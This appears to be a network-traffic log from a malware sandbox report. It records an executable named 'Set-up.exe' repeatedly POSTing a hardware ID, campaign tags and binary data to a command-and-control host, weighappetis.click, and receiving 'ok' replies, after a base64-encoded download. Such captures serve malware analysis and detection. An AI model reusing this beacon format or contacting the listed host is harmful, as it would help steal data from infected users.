2024-12-24 00:18:16 UTC	1369	IN	Data Raw: 49 43 46 53 65 4d 53 45 75 63 45 58 4b 72 2b 4d 4d 70 64 61 67 5a 6e 67 52 58 48 76 74 50 51 63 38 52 4d 49 55 50 39 65 49 48 65 51 45 63 50 73 74 61 44 49 56 61 66 4b 32 38 6d 6d 49 79 37 6c 47 58 48 78 46 4e 74 33 46 48 30 41 63 32 7a 52 65 30 2f 45 35 35 44 56 70 30 6a 46 6f 58 68 46 52 6e 6f 37 65 51 65 33 6d 6d 45 5a 55 56 56 68 6e 39 54 45 50 4f 47 6a 61 46 47 76 72 6f 44 6d 77 54 48 43 66 43 46 30 76 46 56 6d 33 6e 34 4e 74 59 5a 61 74 52 6a 30 6c 49 56 66 42 50 41 4a 35 58 4e 6f 63 46 39 50 63 4b 65 41 6f 5a 49 73 52 53 44 59 46 62 65 4b 69 7a 6b 57 42 36 6f 42 36 56 44 31 6f 54 2b 55 4a 47 79 68 70 31 77 30 6a 39 2f 55 34 6d 51 54 30 32 77 56 45 53 6c 47 52 79 70 2b 6e 62 64 6a 79 35 55 5a 63 4c 45 55 32 33 54 6b 7a 4d 47 6a 43 4a 41 50 33 6d 44 Data Ascii: ICFSeMSEucEXKr+MMpdagZngRXHvtPQc8RMIUP9eIHeQEcPstaDIVafK28mmIy7lGXHxFNt3FH0Ac2zRe0/E55DVp0jFoXhFRno7eQe3mmEZUVVhn9TEPOGjaFGvroDmwTHCfCF0vFVm3n4NtYZatRj0lIVfBPAJ5XNocF9PcKeAoZIsRSDYFbeKizkWB6oB6VD1oT+UJGyhp1w0j9/U4mQT02wVESlGRyp+nbdjy5UZcLEU23TkzMGjCJAP3mD
2024-12-24 00:18:16 UTC	1369	IN	Data Raw: 72 77 42 64 64 78 56 39 34 6f 62 6d 61 59 58 71 67 46 35 6f 44 55 68 7a 30 52 45 6e 41 48 44 61 48 42 2f 33 6a 43 6e 34 4b 48 53 4c 4b 55 67 36 4d 45 54 76 6e 76 34 4d 70 4b 75 41 33 73 78 56 44 4a 2f 6c 41 57 34 59 49 65 35 52 49 2f 65 6c 4f 4a 6b 45 52 4a 4d 4e 46 41 49 78 5a 63 61 36 34 6e 32 4e 2f 70 78 47 56 43 6c 51 52 2b 55 64 48 78 68 73 36 69 67 44 31 34 51 35 78 51 56 52 73 79 30 39 46 33 52 46 56 72 4b 36 36 5a 33 6d 79 55 59 39 4a 53 46 58 77 54 77 43 65 56 7a 75 45 43 66 4c 72 41 6e 59 46 43 43 7a 48 58 67 71 45 58 6e 57 6b 75 5a 46 68 59 4b 59 52 6d 77 39 57 48 66 4e 4e 55 73 63 59 64 63 4e 49 2f 66 31 4f 4a 6b 45 72 4f 73 74 51 43 73 64 34 63 72 79 35 6b 57 70 35 72 46 47 50 53 55 68 56 38 45 38 41 6e 6c 63 34 67 51 58 2b 39 77 4a 2b 41 52 Data Ascii: rwBddxV94obmaYXqgF5oDUhz0REnAHDaHB/3jCn4KHSLKUg6METvnv4MpKuA3sxVDJ/lAW4YIe5RI/elOJkERJMNFAIxZca64n2N/pxGVClQR+UdHxhs6igD14Q5xQVRsy09F3RFVrK66Z3myUY9JSFXwTwCeVzuECfLrAnYFCCzHXgqEXnWkuZFhYKYRmw9WHfNNUscYdcNI/f1OJkErOstQCsd4cry5kWp5rFGPSUhV8E8Anlc4gQX+9wJ+AR
2024-12-24 00:18:16 UTC	1369	IN	Data Raw: 44 6f 74 55 64 4b 75 79 6e 47 64 67 6f 52 75 63 42 6c 59 53 2f 46 46 4c 31 42 77 39 6a 67 62 79 37 41 35 77 41 52 73 68 7a 42 64 4c 78 56 5a 74 35 2b 44 62 54 46 47 33 42 35 70 46 63 67 4c 68 53 55 66 4b 41 54 36 4d 43 2b 7a 6f 48 6a 35 50 57 6a 33 4c 52 6b 58 64 52 32 57 77 76 34 51 6e 61 2b 41 57 6e 45 63 4a 56 66 78 4d 54 73 73 63 4d 59 51 4e 38 75 59 4c 65 77 73 57 49 4d 31 66 44 49 39 55 63 4b 47 79 6d 47 64 39 6f 52 32 55 44 6c 38 63 74 77 30 41 77 51 39 31 31 55 6a 4d 39 51 6c 6d 44 41 70 75 2f 6c 51 55 6c 45 52 34 74 37 37 5a 52 6e 47 73 45 70 55 41 51 56 58 6f 44 56 6d 47 45 44 6e 4e 55 4c 72 6c 43 6e 49 43 48 53 4c 44 57 67 71 43 57 6e 71 74 74 6f 6c 6d 64 36 67 64 6d 41 70 44 48 2f 31 52 53 63 38 61 4f 34 55 61 2b 61 56 41 50 67 59 43 62 4a 51 Data Ascii: DotUdKuynGdgoRucBlYS/FFL1Bw9jgby7A5wARshzBdLxVZt5+DbTFG3B5pFcgLhSUfKAT6MC+zoHj5PWj3LRkXdR2Wwv4Qna+AWnEcJVfxMTsscMYQN8uYLewsWIM1fDI9UcKGymGd9oR2UDl8ctw0AwQ911UjM9QlmDApu/lQUlER4t77ZRnGsEpUAQVXoDVmGEDnNULrlCnICHSLDWgqCWnqttolmd6gdmApDH/1RSc8aO4Ua+aVAPgYCbJQ
2024-12-24 00:18:16 UTC	1369	IN	Data Raw: 30 75 48 73 34 31 6f 66 36 73 64 72 6a 6c 45 46 76 6c 4e 52 39 41 47 64 63 4e 49 39 61 56 57 52 30 46 53 62 50 4d 5a 52 5a 30 52 4c 65 65 4e 6d 47 64 38 70 77 65 42 53 6e 45 65 34 55 4a 4e 7a 52 74 33 6a 41 58 71 34 6b 34 77 51 52 78 73 6c 41 64 4c 78 56 56 6b 35 2b 44 4c 4f 79 6e 31 51 73 64 58 41 77 71 35 57 67 44 51 56 32 33 66 52 72 72 33 54 69 5a 42 58 53 2f 65 52 51 4f 47 52 33 62 67 68 71 56 4a 65 61 77 53 6e 41 5a 57 56 62 6b 44 54 34 5a 50 44 4d 30 4c 36 50 64 42 62 78 63 58 50 4d 73 62 44 5a 52 63 65 65 66 32 32 79 56 32 71 78 32 56 41 45 46 61 35 56 4e 4c 79 67 46 35 69 52 71 36 71 30 35 76 43 68 55 2b 77 6c 42 4b 6c 45 64 34 74 37 75 65 62 6a 36 6f 41 4a 30 4c 45 56 75 33 56 6b 76 4b 45 54 69 59 52 2b 76 7a 44 57 67 47 56 69 54 64 57 67 6e 46 Data Ascii: 0uHs41of6sdrjlEFvlNR9AGdcNI9aVWR0FSbPMZRZ0RLeeNmGd8pweBSnEe4UJNzRt3jAXq4k4wQRxslAdLxVVk5+DLOyn1QsdXAwq5WgDQV23fRrr3TiZBXS/eRQOGR3bghqVJeawSnAZWVbkDT4ZPDM0L6PdBbxcXPMsbDZRceef22yV2qx2VAEFa5VNLygF5iRq6q05vChU+wlBKlEd4t7uebj6oAJ0LEVu3VkvKETiYR+vzDWgGViTdWgnF
2024-12-24 00:18:16 UTC	1369	IN	Data Raw: 44 62 4d 54 4b 56 45 70 34 4a 56 67 50 6d 44 6d 62 46 45 44 4f 4f 42 75 33 30 54 6a 42 42 48 47 79 55 42 55 76 46 56 57 54 6e 34 4d 73 37 4b 66 56 43 78 31 63 44 43 72 6c 61 41 4e 42 58 62 64 35 47 75 76 64 4f 4a 6b 46 64 49 73 46 57 42 6f 74 53 5a 37 57 2b 6d 48 39 78 35 79 2b 75 49 6c 77 59 38 6b 31 48 2b 43 6b 55 68 78 6a 33 36 67 6c 41 50 79 30 39 79 30 64 48 6f 31 4a 6a 70 50 6a 56 4b 57 72 67 53 64 41 6d 57 77 58 36 54 45 65 47 57 58 57 4a 53 4b 4b 6c 4b 33 4d 4d 48 79 4c 4c 46 53 53 50 51 58 69 6f 76 39 73 6e 4d 71 78 52 79 45 64 51 48 2b 64 4f 54 38 46 62 4d 70 63 50 75 71 74 4f 63 45 46 43 62 4d 31 64 46 59 68 65 63 75 75 2b 6c 57 63 79 76 31 2b 4a 52 30 64 56 72 78 41 4f 68 67 56 31 31 55 69 39 36 77 4e 2f 41 68 51 76 33 6b 55 44 68 6b 64 32 34 Data Ascii: DbMTKVEp4JVgPmDmbFEDOOBu30TjBBHGyUBUvFVWTn4Ms7KfVCx1cDCrlaANBXbd5GuvdOJkFdIsFWBotSZ7W+mH9x5y+uIlwY8k1H+CkUhxj36glAPy09y0dHo1JjpPjVKWrgSdAmWwX6TEeGWXWJSKKlK3MMHyLLFSSPQXiov9snMqxRyEdQH+dOT8FbMpcPuqtOcEFCbM1dFYhecuu+lWcyv1+JR0dVrxAOhgV11Ui96wN/AhQv3kUDhkd24

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49720	172.67.192.222	443	6224	C:\Users\user\Desktop\'Set-up.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 00:18:18 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=F1NMXUSZOX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12811 Host: weighappetis.click
2024-12-24 00:18:18 UTC	12811	OUT	Data Raw: 2d 2d 46 31 4e 4d 58 55 53 5a 4f 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 42 43 42 45 30 45 37 43 35 34 45 39 37 32 33 36 30 33 46 35 35 31 37 45 33 44 36 37 35 33 0d 0a 2d 2d 46 31 4e 4d 58 55 53 5a 4f 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 46 31 4e 4d 58 55 53 5a 4f 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 4a 45 4e 59 41 0d 0a 2d 2d 46 31 4e 4d 58 55 53 5a 4f 58 0d 0a 43 6f 6e 74 65 6e 74 2d Data Ascii: --F1NMXUSZOXContent-Disposition: form-data; name="hwid"D9BCBE0E7C54E9723603F5517E3D6753--F1NMXUSZOXContent-Disposition: form-data; name="pid"2--F1NMXUSZOXContent-Disposition: form-data; name="lid"hRjzG3--JENYA--F1NMXUSZOXContent-
2024-12-24 00:18:19 UTC	1135	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 00:18:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hei5g0dpgu6cvb3ivapehs51a0; expires=Fri, 18 Apr 2025 18:04:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ArzntSEUE3XhmbVWDLMZNYLVnbgVGk7xkAjioAD33VpfHrBG%2FIbj%2B%2BS%2FJRkyUtOvuKiyMhrrxjxJSzVJBNJEMsdBc3BqHc5Ysf9RtY%2BhZh0hwrKfTphDtufHLntwWmxfIvUmb0s%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c69d1b8b242b0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1731&min_rtt=1730&rtt_var=650&sent=10&recv=19&lost=0&retrans=0&sent_bytes=2842&recv_bytes=13745&delivery_rate=1680092&cwnd=233&unsent_bytes=0&cid=fdd10165027f9977&ts=941&x=0"
2024-12-24 00:18:19 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 00:18:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49727	172.67.192.222	443	6224	C:\Users\user\Desktop\'Set-up.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 00:18:20 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=8IJ0ZHCATYZ4W3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15081 Host: weighappetis.click
2024-12-24 00:18:20 UTC	15081	OUT	Data Raw: 2d 2d 38 49 4a 30 5a 48 43 41 54 59 5a 34 57 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 42 43 42 45 30 45 37 43 35 34 45 39 37 32 33 36 30 33 46 35 35 31 37 45 33 44 36 37 35 33 0d 0a 2d 2d 38 49 4a 30 5a 48 43 41 54 59 5a 34 57 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 38 49 4a 30 5a 48 43 41 54 59 5a 34 57 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 4a 45 4e 59 41 0d 0a 2d 2d 38 49 4a 30 5a 48 43 41 Data Ascii: --8IJ0ZHCATYZ4W3Content-Disposition: form-data; name="hwid"D9BCBE0E7C54E9723603F5517E3D6753--8IJ0ZHCATYZ4W3Content-Disposition: form-data; name="pid"2--8IJ0ZHCATYZ4W3Content-Disposition: form-data; name="lid"hRjzG3--JENYA--8IJ0ZHCA
2024-12-24 00:18:21 UTC	1131	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 00:18:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=fl55o93r8fbkembuq98a03tq7l; expires=Fri, 18 Apr 2025 18:05:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yReSBUHae%2FDLC01PCUUWoc4Y3oioBVlrrTv9DlFVlSmW26sBwuBtjJqSq2%2BuL2G2Cc5xww4IJwqoPisrzl2eICNNKhHTt9bZGCcKrmnLG%2BYMX0qVlgeYsoX3DMuXB1WdSis9gG4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c69dfcb0a43d7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1748&min_rtt=1745&rtt_var=661&sent=11&recv=19&lost=0&retrans=0&sent_bytes=2842&recv_bytes=16019&delivery_rate=1646926&cwnd=208&unsent_bytes=0&cid=d0aa10dbb638b50c&ts=861&x=0"
2024-12-24 00:18:21 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 00:18:21 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49733	172.67.192.222	443	6224	C:\Users\user\Desktop\'Set-up.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 00:18:22 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZE0Q9JERCQTM7OF889P User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19969 Host: weighappetis.click
2024-12-24 00:18:22 UTC	15331	OUT	Data Raw: 2d 2d 5a 45 30 51 39 4a 45 52 43 51 54 4d 37 4f 46 38 38 39 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 42 43 42 45 30 45 37 43 35 34 45 39 37 32 33 36 30 33 46 35 35 31 37 45 33 44 36 37 35 33 0d 0a 2d 2d 5a 45 30 51 39 4a 45 52 43 51 54 4d 37 4f 46 38 38 39 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 5a 45 30 51 39 4a 45 52 43 51 54 4d 37 4f 46 38 38 39 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 4a 45 Data Ascii: --ZE0Q9JERCQTM7OF889PContent-Disposition: form-data; name="hwid"D9BCBE0E7C54E9723603F5517E3D6753--ZE0Q9JERCQTM7OF889PContent-Disposition: form-data; name="pid"3--ZE0Q9JERCQTM7OF889PContent-Disposition: form-data; name="lid"hRjzG3--JE
2024-12-24 00:18:22 UTC	4638	OUT	Data Raw: f0 03 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8b 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 d1 e8 b0 32 f0 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 80 1b 8d 0e 2b 03 3f 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c b8 b1 e8 ef fa 6f c5 82 3f 0c fe 4d 70 35 98 09 ee b9 f1 d3 1b 7f 70 Data Ascii: +?2+?2+?o?Mp5p
2024-12-24 00:18:23 UTC	1127	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 00:18:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4q36k5f80d0lcnc7idm3rlhq87; expires=Fri, 18 Apr 2025 18:05:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=n2vmPYSIu1xTxwHCb7mrLbadxz7k6TshlZ2BcmeO2vTqAnJ1nPUOzOv4GAexNwMWsUN8PD09fqG3PwvD1ww3QzLbBTkix9dAVS%2Bhiuky3PaxIjN7ltH5sMlejFS6osppuqVt2Ek%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c69ee4bd50c78-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1634&min_rtt=1623&rtt_var=631&sent=13&recv=25&lost=0&retrans=0&sent_bytes=2843&recv_bytes=20934&delivery_rate=1704611&cwnd=230&unsent_bytes=0&cid=9fdd3450cbeff152&ts=970&x=0"
2024-12-24 00:18:23 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 00:18:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49742	172.67.192.222	443	6224	C:\Users\user\Desktop\'Set-up.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 00:18:25 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZR89T8OTOQ6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1184 Host: weighappetis.click
2024-12-24 00:18:25 UTC	1184	OUT	Data Raw: 2d 2d 5a 52 38 39 54 38 4f 54 4f 51 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 42 43 42 45 30 45 37 43 35 34 45 39 37 32 33 36 30 33 46 35 35 31 37 45 33 44 36 37 35 33 0d 0a 2d 2d 5a 52 38 39 54 38 4f 54 4f 51 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 5a 52 38 39 54 38 4f 54 4f 51 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 4a 45 4e 59 41 0d 0a 2d 2d 5a 52 38 39 54 38 4f 54 4f 51 36 0d 0a 43 6f 6e 74 Data Ascii: --ZR89T8OTOQ6Content-Disposition: form-data; name="hwid"D9BCBE0E7C54E9723603F5517E3D6753--ZR89T8OTOQ6Content-Disposition: form-data; name="pid"1--ZR89T8OTOQ6Content-Disposition: form-data; name="lid"hRjzG3--JENYA--ZR89T8OTOQ6Cont
2024-12-24 00:18:26 UTC	1124	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 00:18:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7sdr9ldojlj6tuqhimqs52fls1; expires=Fri, 18 Apr 2025 18:05:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vhBcTzqWkfbue2XsSLZsNG08af6IpHBdJ25Dd%2BHLGxKjY6zTWpHsDkWsLoMojBPcTuJqtuyWFD9fAUZWTTY3lmixD18TAFQlm8sCraYOU41ivW2SygwOGZs1xTEx1O4YBzJaIBE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c69fdca640f5f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1812&min_rtt=1686&rtt_var=884&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=2096&delivery_rate=1083487&cwnd=234&unsent_bytes=0&cid=0e83e5d2eb4748ca&ts=772&x=0"
2024-12-24 00:18:26 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 00:18:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49747	172.67.192.222	443	6224	C:\Users\user\Desktop\'Set-up.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 00:18:27 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=56WPGE1BP9B0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1087 Host: weighappetis.click
2024-12-24 00:18:27 UTC	1087	OUT	Data Raw: 2d 2d 35 36 57 50 47 45 31 42 50 39 42 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 39 42 43 42 45 30 45 37 43 35 34 45 39 37 32 33 36 30 33 46 35 35 31 37 45 33 44 36 37 35 33 0d 0a 2d 2d 35 36 57 50 47 45 31 42 50 39 42 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 35 36 57 50 47 45 31 42 50 39 42 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 68 52 6a 7a 47 33 2d 2d 4a 45 4e 59 41 0d 0a 2d 2d 35 36 57 50 47 45 31 42 50 39 42 30 0d 0a Data Ascii: --56WPGE1BP9B0Content-Disposition: form-data; name="hwid"D9BCBE0E7C54E9723603F5517E3D6753--56WPGE1BP9B0Content-Disposition: form-data; name="pid"1--56WPGE1BP9B0Content-Disposition: form-data; name="lid"hRjzG3--JENYA--56WPGE1BP9B0
2024-12-24 00:18:28 UTC	1142	IN	HTTP/1.1 200 OK Date: Tue, 24 Dec 2024 00:18:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=10cmihjjh08ua4o58d9vln87nv; expires=Fri, 18 Apr 2025 18:05:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ps%2FxEQENYJaKoFZkLlCFVlo%2Bf9Elpz%2Be%2Fsk7azDl1OW75uQWRhFItP5zocyCaXhY%2BKrZs0Yq3wmzwFdeF6bG9rEWfGhJ%2BuCSja%2FbB1yF5wNOWDmntF%2FXxjEem9WCJbI%2BWgUU%2BoM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f6c6a0af89a41a6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1731&min_rtt=1719&rtt_var=669&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2843&recv_bytes=2000&delivery_rate=1606160&cwnd=239&unsent_bytes=0&cid=72fb1cbd18b8a669&ts=855&x=0"
2024-12-24 00:18:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-24 00:18:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49753	172.67.192.222	443	6224	C:\Users\user\Desktop\'Set-up.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-24 00:18:29 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 114 Host: weighappetis.click
